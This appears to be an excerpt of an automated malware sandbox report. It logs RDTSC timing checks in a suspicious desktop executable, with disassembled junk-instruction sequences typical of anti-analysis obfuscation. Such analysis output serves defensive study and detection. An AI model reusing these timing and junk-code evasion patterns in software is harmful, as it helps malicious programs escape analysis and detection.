Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3F313 second address: B3F326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F5CACC3D918h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3F61E second address: B3F622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3F622 second address: B3F628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3F628 second address: B3F641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F5CACF3B8EFh 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3F641 second address: B3F663 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5CACC3D92Bh 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3F7EE second address: B3F7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B3F7F9 second address: B3F808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F5CACC3D916h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4DD76 second address: B4DD8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8EFh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C045 second address: B4C060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D927h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C060 second address: B4C069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C069 second address: B4C091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACC3D91Bh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F5CACC3D925h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C091 second address: B4C0B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5CACF3B8F5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C0B3 second address: B4C0B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C0B7 second address: B4C0DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8F5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jl 00007F5CACF3B8E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C80E second address: B4C81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5CACC3D916h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C95A second address: B4C966 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jo 00007F5CACF3B8E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C966 second address: B4C96C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C96C second address: B4C970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4C970 second address: B4C97E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D91Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4CC28 second address: B4CC2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4CDDE second address: B4CDF4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5CACC3D916h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jo 00007F5CACC3D916h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4DC45 second address: B4DC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B4DC4B second address: B4DC51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54E82 second address: B54E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jg 00007F5CACF3B8E8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54E8F second address: B54E94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B548CC second address: B548D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jno 00007F5CACF3B8E6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B548D9 second address: B54909 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007F5CACC3D916h 0x00000009 jmp 00007F5CACC3D91Dh 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jl 00007F5CACC3D91Eh 0x00000018 push edi 0x00000019 pop edi 0x0000001a jne 00007F5CACC3D916h 0x00000020 push eax 0x00000021 push edx 0x00000022 js 00007F5CACC3D916h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54909 second address: B5490D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54A3E second address: B54A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54A43 second address: B54A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F5CACF3B8E6h 0x00000009 jmp 00007F5CACF3B8EDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54A5B second address: B54A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54A61 second address: B54A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54A6D second address: B54A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54A7A second address: B54A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B54A7E second address: B54A92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D920h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B571FB second address: B571FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B571FF second address: B57205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B57205 second address: B5720B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B5720B second address: B57210 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B57210 second address: B5722E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F5CACF3B8EEh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F5CACF3B8E6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B57051 second address: B5705C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5CACC3D916h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B58856 second address: B5885A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B5885A second address: B58893 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jnp 00007F5CACC3D924h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5CACC3D926h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B58893 second address: B58897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B58897 second address: B588A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B588A2 second address: B588A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B588A8 second address: B588B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B588B1 second address: B588B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B63B0A second address: B63B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5CACC3D924h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F5CACC3D934h 0x00000013 jmp 00007F5CACC3D91Bh 0x00000018 jmp 00007F5CACC3D923h 0x0000001d jns 00007F5CACC3D928h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B636A5 second address: B636A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B636A9 second address: B636D1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5CACC3D916h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F5CACC3D922h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007F5CACC3D916h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B636D1 second address: B636EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F5CACF3B8E6h 0x0000000d jmp 00007F5CACF3B8EBh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B6E591 second address: B6E5B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F5CACC3D928h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7719D second address: B771A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B771A3 second address: B771A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B771A7 second address: B771CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F5CACF3B8F2h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B771CB second address: B771D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7703C second address: B7704A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5CACF3B8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7704A second address: B7704F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7E71E second address: B7E722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D061 second address: B7D067 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D067 second address: B7D0AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5CACF3B8F7h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e js 00007F5CACF3B8E6h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5CACF3B8EFh 0x0000001d jmp 00007F5CACF3B8EEh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D1DB second address: B7D1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D1DF second address: B7D1E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D1E7 second address: B7D205 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5CACC3D922h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F5CACC3D916h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D4EF second address: B7D4F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D4F3 second address: B7D4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D4FC second address: B7D502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D6B4 second address: B7D6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7D6B8 second address: B7D6BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: B7DAF2 second address: B7DAF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BA059B second address: BA05BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F5CACF3B8FAh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BA22E3 second address: BA22E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BA22E7 second address: BA22F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BA22F1 second address: BA22F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BB6BD9 second address: BB6BF8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5CACF3B8F9h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F5CACF3B8F1h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BB6BF8 second address: BB6C0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BB7030 second address: BB703A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5CACF3B8EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BB703A second address: BB7043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BB74D9 second address: BB74F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5CACF3B8F8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BB74F5 second address: BB752E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5CACC3D916h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5CACC3D920h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5CACC3D921h 0x0000001a jne 00007F5CACC3D918h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BB752E second address: BB7535 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BBA98D second address: BBA997 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5CACC3D916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BBA997 second address: BBA9FA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5CACF3B8E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D314Bh], ecx 0x00000011 push 00000004h 0x00000013 push esi 0x00000014 mov dword ptr [ebp+1246610Ch], edx 0x0000001a pop edx 0x0000001b call 00007F5CACF3B8E9h 0x00000020 jnp 00007F5CACF3B8FAh 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 jmp 00007F5CACF3B8F0h 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F5CACF3B8F4h 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d js 00007F5CACF3B8E6h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BBA9FA second address: BBAA04 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5CACC3D916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BBAA04 second address: BBAA23 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F5CACF3B8E6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5CACF3B8EFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BBAC36 second address: BBAC48 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5CACC3D918h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BBDC3A second address: BBDC44 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5CACF3B8E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BBD799 second address: BBD7B4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5CACC3D925h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BBF7A5 second address: BBF7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5CACF3B8F5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: BBF7BF second address: BBF7CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5CACC3D916h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52302C3 second address: 523032C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dl, 9Bh 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F5CACF3B8F3h 0x00000014 mov ebp, esp 0x00000016 jmp 00007F5CACF3B8F6h 0x0000001b mov edx, dword ptr [ebp+0Ch] 0x0000001e jmp 00007F5CACF3B8F0h 0x00000023 mov ecx, dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F5CACF3B8F7h 0x0000002d rdtsc
